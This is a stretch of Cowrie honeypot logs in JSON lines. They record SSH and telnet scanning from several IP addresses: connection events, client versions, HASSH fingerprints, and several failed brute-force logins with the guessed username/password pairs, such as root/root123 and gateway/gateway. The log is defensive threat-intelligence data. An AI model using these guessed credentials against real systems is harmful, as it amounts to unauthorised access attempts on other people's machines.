{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:24.506436Z","src_ip":"182.93.50.90","session":"cc10521293dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:24.604604Z","src_ip":"31.40.204.166","session":"bf579a85d6ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.787698984146118,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:24.720431Z","src_ip":"152.42.224.71","session":"5dbf34a0da18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47384,"dst_ip":"10.17.0.5","dst_port":23,"session":"01c4aa46d8bb","protocol":"telnet","message":"New connection: 152.42.224.71:47384 (10.17.0.5:23) [session: 01c4aa46d8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:25.006392Z"}
{"eventid":"cowrie.session.closed","duration":47.09762525558472,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:25.041177Z","src_ip":"152.42.224.71","session":"87c9181b5f17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.768218994140625,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:25.560431Z","src_ip":"152.42.224.71","session":"804a64941e89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:25.787261Z","src_ip":"31.40.204.166","session":"bf579a85d6ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00101709365845,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:26.079044Z","src_ip":"152.42.224.71","session":"bd37f62f0f19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.589080810546875,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:27.905912Z","src_ip":"152.42.224.71","session":"0f19c9e9305d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.292909383773804,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:28.688628Z","src_ip":"152.42.224.71","session":"f07f241710ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51755,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a4b595bef55","protocol":"ssh","message":"New connection: 152.42.212.128:51755 (159.203.135.109:22) [session: 1a4b595bef55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:29.563579Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:29.568504Z","src_ip":"152.42.212.128","session":"1a4b595bef55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:29.573092Z","src_ip":"152.42.212.128","session":"1a4b595bef55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49396,"dst_ip":"10.17.0.5","dst_port":23,"session":"21731ae44329","protocol":"telnet","message":"New connection: 152.42.224.71:49396 (10.17.0.5:23) [session: 21731ae44329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:30.509076Z"}
{"eventid":"cowrie.session.closed","duration":44.89152717590332,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:30.523038Z","src_ip":"152.42.224.71","session":"fd8f69327c77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49408,"dst_ip":"10.17.0.5","dst_port":23,"session":"98386e12c540","protocol":"telnet","message":"New connection: 152.42.224.71:49408 (10.17.0.5:23) [session: 98386e12c540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:30.688201Z"}
{"eventid":"cowrie.session.closed","duration":120.00374746322632,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:33.186969Z","src_ip":"152.42.224.71","session":"b136acea0b8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49420,"dst_ip":"10.17.0.5","dst_port":23,"session":"855706f04c52","protocol":"telnet","message":"New connection: 152.42.224.71:49420 (10.17.0.5:23) [session: 855706f04c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:33.387949Z"}
{"eventid":"cowrie.session.closed","duration":119.36178088188171,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:33.710503Z","src_ip":"152.42.224.71","session":"411e94bda051","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49412,"dst_ip":"10.17.0.5","dst_port":23,"session":"e83d4068c2bd","protocol":"telnet","message":"New connection: 152.42.224.71:49412 (10.17.0.5:23) [session: e83d4068c2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:33.803061Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50696,"dst_ip":"159.203.135.109","dst_port":22,"session":"79fb21c131ce","protocol":"ssh","message":"New connection: 31.40.204.166:50696 (159.203.135.109:22) [session: 79fb21c131ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:35.124428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:35.130131Z","src_ip":"31.40.204.166","session":"79fb21c131ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:35.292281Z","src_ip":"31.40.204.166","session":"79fb21c131ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chenxi","password":"123456","message":"login attempt [chenxi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:35.790581Z","src_ip":"31.40.204.166","session":"79fb21c131ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:37.014148Z","src_ip":"31.40.204.166","session":"79fb21c131ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44760,"dst_ip":"10.17.0.5","dst_port":23,"session":"c44ca17d2f56","protocol":"telnet","message":"New connection: 152.42.224.71:44760 (10.17.0.5:23) [session: c44ca17d2f56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:42.769617Z"}
{"eventid":"cowrie.session.closed","duration":29.31911587715149,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:44.515223Z","src_ip":"152.42.224.71","session":"f095c4328676","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.40740633010864,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:44.901448Z","src_ip":"152.42.224.71","session":"03bba109a029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44774,"dst_ip":"10.17.0.5","dst_port":23,"session":"e34e0263bb72","protocol":"telnet","message":"New connection: 152.42.224.71:44774 (10.17.0.5:23) [session: e34e0263bb72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:45.561717Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40844,"dst_ip":"159.203.135.109","dst_port":22,"session":"08f3deed93d1","protocol":"ssh","message":"New connection: 31.40.204.166:40844 (159.203.135.109:22) [session: 08f3deed93d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:47.285624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:47.322934Z","src_ip":"31.40.204.166","session":"08f3deed93d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:47.417382Z","src_ip":"31.40.204.166","session":"08f3deed93d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:48.027697Z","src_ip":"31.40.204.166","session":"08f3deed93d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":58860,"dst_ip":"10.17.0.5","dst_port":22,"session":"63495a183557","protocol":"ssh","message":"New connection: 103.91.246.101:58860 (10.17.0.5:22) [session: 63495a183557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:48.817153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:48.821616Z","src_ip":"103.91.246.101","session":"63495a183557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:49.038541Z","src_ip":"103.91.246.101","session":"63495a183557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:49.310722Z","src_ip":"31.40.204.166","session":"08f3deed93d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kruger","message":"login attempt [root/kruger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:49.939053Z","src_ip":"103.91.246.101","session":"63495a183557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.24610686302185,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:50.153044Z","src_ip":"152.42.224.71","session":"c27b40238501","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:51.158427Z","src_ip":"103.91.246.101","session":"63495a183557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.833823680877686,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:53.270370Z","src_ip":"152.42.224.71","session":"042c57b7085e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47128,"dst_ip":"10.17.0.5","dst_port":23,"session":"6382fe6f2d6e","protocol":"telnet","message":"New connection: 152.42.224.71:47128 (10.17.0.5:23) [session: 6382fe6f2d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:58.351055Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41964,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6901367e24a","protocol":"ssh","message":"New connection: 31.40.204.166:41964 (159.203.135.109:22) [session: c6901367e24a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:58.487960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:58.810459Z","src_ip":"31.40.204.166","session":"c6901367e24a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:58.813938Z","src_ip":"31.40.204.166","session":"c6901367e24a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47114,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d2b54ed780b","protocol":"telnet","message":"New connection: 152.42.224.71:47114 (10.17.0.5:23) [session: 1d2b54ed780b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:58.845318Z"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:44:59.609038Z","src_ip":"31.40.204.166","session":"c6901367e24a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:00.785408Z","src_ip":"31.40.204.166","session":"c6901367e24a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.27698826789856,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:01.283053Z","src_ip":"152.42.224.71","session":"01c4aa46d8bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47140,"dst_ip":"10.17.0.5","dst_port":23,"session":"b037507f441d","protocol":"telnet","message":"New connection: 152.42.224.71:47140 (10.17.0.5:23) [session: b037507f441d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:01.799077Z"}
{"eventid":"cowrie.session.closed","duration":17.228331327438354,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:02.789906Z","src_ip":"152.42.224.71","session":"e34e0263bb72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.446879386901855,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:02.834749Z","src_ip":"152.42.224.71","session":"855706f04c52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.553267002105713,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:03.352183Z","src_ip":"152.42.224.71","session":"b037507f441d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58308,"dst_ip":"159.203.135.109","dst_port":22,"session":"777e4279dd02","protocol":"ssh","message":"New connection: 193.37.70.224:58308 (159.203.135.109:22) [session: 777e4279dd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:05.483656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:05.504523Z","src_ip":"193.37.70.224","session":"777e4279dd02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:05.595024Z","src_ip":"193.37.70.224","session":"777e4279dd02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.05754232406616,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:05.745574Z","src_ip":"152.42.224.71","session":"98386e12c540","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"147896321","message":"login attempt [root/147896321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:05.864401Z","src_ip":"193.37.70.224","session":"777e4279dd02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:06.959564Z","src_ip":"193.37.70.224","session":"777e4279dd02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33666,"dst_ip":"10.17.0.5","dst_port":23,"session":"e25a969629a2","protocol":"telnet","message":"New connection: 152.42.224.71:33666 (10.17.0.5:23) [session: e25a969629a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:08.002361Z"}
